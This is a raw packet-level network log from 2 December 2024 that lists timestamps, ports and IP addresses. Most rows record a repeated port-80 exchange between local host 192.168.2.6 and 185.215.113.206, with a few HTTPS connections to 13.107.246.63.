Dec 2, 2024 07:37:59.801983118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.802634001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.802680016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.802750111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.802803040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.803534031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.803581953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.803636074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.803678989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.804316044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.804374933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.804409981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.804462910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.805161953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.805211067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.805259943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.805301905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.805937052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.805994987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.806008101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.806047916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.806700945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.806721926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.806752920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.806766987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.807512999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.807573080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.807579994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.807615042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.808301926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.808348894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.808357000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.808393955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.858628988 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.862323999 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.862385035 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.862425089 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.862449884 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.862464905 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.862471104 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.865685940 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.865717888 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.865801096 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.865993023 CET	49844	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.866000891 CET	443	49844	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.887811899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.887861013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.887891054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.887917042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.888206959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.888253927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.888293982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.888339996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.889000893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.889045954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.889111042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.889163017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.889822006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.889877081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.889905930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.889950037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.890611887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.890664101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.890722990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.890769005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.891412020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.891464949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.891495943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.891544104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.892260075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.892318010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.892324924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.892369032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.893047094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.893090010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.893106937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.893131971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.893896103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.893945932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.893974066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.894013882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.894690990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.894742012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.894810915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.894860029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.895514011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.895575047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.895586014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.895628929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.896332979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.896383047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.896394014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.896429062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.897133112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.897193909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.897212982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.897253990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.897947073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.898009062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.898073912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.898124933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.898760080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.898792982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.898811102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.898824930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.899710894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.899756908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.899847031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.899898052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.900379896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.900432110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.900469065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.900525093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.901209116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.901258945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.901324987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.901371956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.902019978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.902070045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.902108908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.902157068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.902795076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.902894974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.902956009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.903002024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.903635979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.903687954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.903709888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.903749943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.904433966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.904474020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.904479980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.904512882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.905268908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.905313969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.905338049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.905380964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.906023026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.906073093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.986454964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.986483097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.986558914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.986578941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.986702919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.986753941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.986757994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.986797094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.987433910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.987446070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.987488985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.988122940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.988178015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.988360882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.988420963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.988450050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.988498926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.989183903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.989233971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.989356995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.989402056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.989985943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.990031004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.990086079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.990133047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.990786076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.990833044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.990856886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.990901947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.991611004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.991661072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.991720915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.991767883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.992392063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.992439985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.992506981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.992552042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.993232012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.993243933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.993278027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.993288994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.994033098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.994075060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.994103909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.994151115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.994826078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.994874001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.994937897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.994987965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.995686054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.995732069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.995836020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.995882034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.996447086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.996493101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.996570110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.996612072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.997239113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.997306108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.997339010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.997387886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.998048067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.998109102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.998140097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.998194933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.998888016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.998943090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.998996019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.999047041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.999640942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.999689102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.999826908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.999875069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.000454903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.000513077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.000545025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.000596046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.001396894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.001451015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.001481056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.001521111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.002085924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.002125978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.002155066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.002192974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.002897978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.002947092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.002978086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.003025055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.003664017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.003715038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.003776073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.003820896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.004527092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.004571915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.004714966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.004759073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.005310059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.005378962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.005407095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.005450964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.006113052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.006162882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.006166935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.006206036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.006932974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.006983995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.007009983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.007046938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.007715940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.007769108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.007793903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.007833004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.008522034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.008579016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.008610010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.008651972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.009334087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.009352922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.009387970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.009402990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.023338079 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.026468039 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.026521921 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.026541948 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.026591063 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.030237913 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.030261040 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.030286074 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.030292988 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.033615112 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.033657074 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.033732891 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.033884048 CET	49845	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.033896923 CET	443	49845	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.043153048 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.046401978 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.046494961 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.046542883 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.046557903 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.046571016 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.046576023 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.048945904 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.048985004 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.049092054 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.049173117 CET	49846	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:00.049189091 CET	443	49846	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:00.089056015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.089088917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.089123011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.089138031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.089437962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.089493036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.089554071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.089601040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.090234995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.090281010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.090353966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.090403080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.091166973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.091217995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.091356039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.091409922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.091897011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.091945887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.092020035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.092067003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.092653036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.092699051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.092711926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.092755079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.093498945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.093549967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.093564034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.093601942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.094243050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.094293118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.094369888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.094417095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.095057964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.095101118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.095171928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.095221043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.095858097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.095906019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.095984936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.096019983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.096677065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.096735001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.096767902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.096811056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.097454071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.097512007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.097642899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.097692966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.098303080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.098351002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.098404884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.098445892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:00.099111080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:00.099162102 CET	49823	80	192.168.2.6	185.215.113.206
